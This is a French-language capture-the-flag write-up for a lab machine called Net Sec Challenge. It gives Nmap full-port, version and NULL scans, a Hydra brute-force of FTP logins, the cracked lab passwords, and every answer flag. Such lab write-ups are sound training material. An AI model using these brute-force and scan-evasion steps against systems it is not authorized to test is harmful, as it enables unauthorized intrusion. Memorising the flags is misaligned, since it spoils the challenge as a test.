Post

Write-up - Net Sec Challenge

Write-up - Net Sec Challenge

Write-up - Net Sec Challenge

La cible est la machine CTF Net Sec Challenge (10.129.138.119). L’objectif est de répondre aux questions du sujet à partir d’une reconnaissance réseau Nmap, d’une énumération de version, d’un accès FTP sur un port non standard et d’un mini-challenge web sur le port 8081.

Questions du sujet

Le fichier subject.md demande :

  • le plus grand port ouvert inférieur à 10000
  • le port ouvert au-dessus de 10100
  • le nombre total de ports TCP ouverts
  • la valeur de version du service HTTP sur le port 80
  • le flag caché dans la bannière SSH
  • la version du serveur FTP sur le port non standard
  • le flag accessible via FTP avec les comptes eddie et quinn
  • le flag du challenge web exposé sur 8081

Scan TCP complet

Le scan TCP complet montre sept ports ouverts.

1
2
TARGET=10.129.138.119
nmap -p- -Pn -oA "$TARGET"_full_ports --min-rate 1000 "$TARGET" -v

Scan TCP complet

Ports ouverts :

PortService Nmap
22/tcpssh
80/tcphttp
139/tcpnetbios-ssn
445/tcpmicrosoft-ds
8081/tcpblackice-icecap
10001/tcpscp-config
10121/tcpunknown

Réponses déduites :

  • plus grand port ouvert inférieur à 10000 : 8081
  • port ouvert au-dessus de 10100 : 10121
  • nombre total de ports TCP ouverts : 7

Énumération de versions et flags de bannière

Un scan de version sur les ports utiles récupère les bannières SSH et HTTP.

1
nmap -sVC -p 80,22,10121 "$TARGET"

Scan de versions SSH et HTTP

La bannière SSH contient le flag suivant :

1
THM{946219583339}

Le service HTTP sur le port 80 expose une valeur de version dans l’en-tête serveur :

1
THM{MySpecialServer007}

Le port 10121/tcp correspond au serveur FTP non standard. La suite du scan identifie sa version.

Version du FTP sur le port 10121

Version FTP :

1
vsftpd 3.0.5

Accès FTP avec les comptes eddie et quinn

Le sujet indique que deux noms d’utilisateurs ont été obtenus par social engineering : eddie et quinn. Ils sont placés dans un fichier usernames.txt.

1
2
echo "eddie\nquinn" > usernames.txt
cat usernames.txt

Liste des utilisateurs FTP

Hydra trouve deux couples valides sur le service FTP du port 10121.

1
hydra -L usernames.txt -P <wordlist> "$TARGET" -s 10121 ftp

Credentials FTP trouvés avec Hydra

Credentials trouvés :

UtilisateurMot de passe
eddiesoftball
quinncookie

La session terminal montre que le fichier contenant le flag est accessible avec le compte quinn. La séquence FTP utilisée est :

1
2
3
4
ftp ftp://"quinn":"cookie"@"$TARGET":10121
ls
get ftp_flag.txt
cat ftp_flag.txt

Récupération du flag FTP avec le compte quinn

Flag obtenu :

1
THM{QUINN_IS_BACK007}

Challenge web sur le port 8081

Le port 8081 héberge un petit challenge demandant de scanner la machine aussi discrètement que possible. Un scan NULL est utilisé :

1
nmap -sN "$TARGET"

Scan NULL Nmap

La page web indique une détection à 0% et donne le flag du challenge.

Flag du challenge web 8081

Flag obtenu :

1
THM{NMAP_CHAMPION001}

Tableau récapitulatif

QuestionRéponse
Plus grand port ouvert inférieur à 100008081
Port ouvert au-dessus de 1010010121
Nombre de ports TCP ouverts7
Version du service HTTP sur 80/tcpTHM{MySpecialServer007}
Flag dans la bannière SSHTHM{946219583339}
Version FTP sur le port non standardvsftpd 3.0.5
Flag FTP via eddie ou quinnTHM{QUINN_IS_BACK007}
Flag du challenge web 8081THM{NMAP_CHAMPION001}

Conclusion

Ce challenge valide les bases de la reconnaissance réseau : scan complet, scan de version, lecture des bannières, identification de services non standards, brute-force ciblé FTP et usage d’un scan Nmap plus discret pour satisfaire le mini-challenge IDS.

This post is licensed under CC BY 4.0 by the author.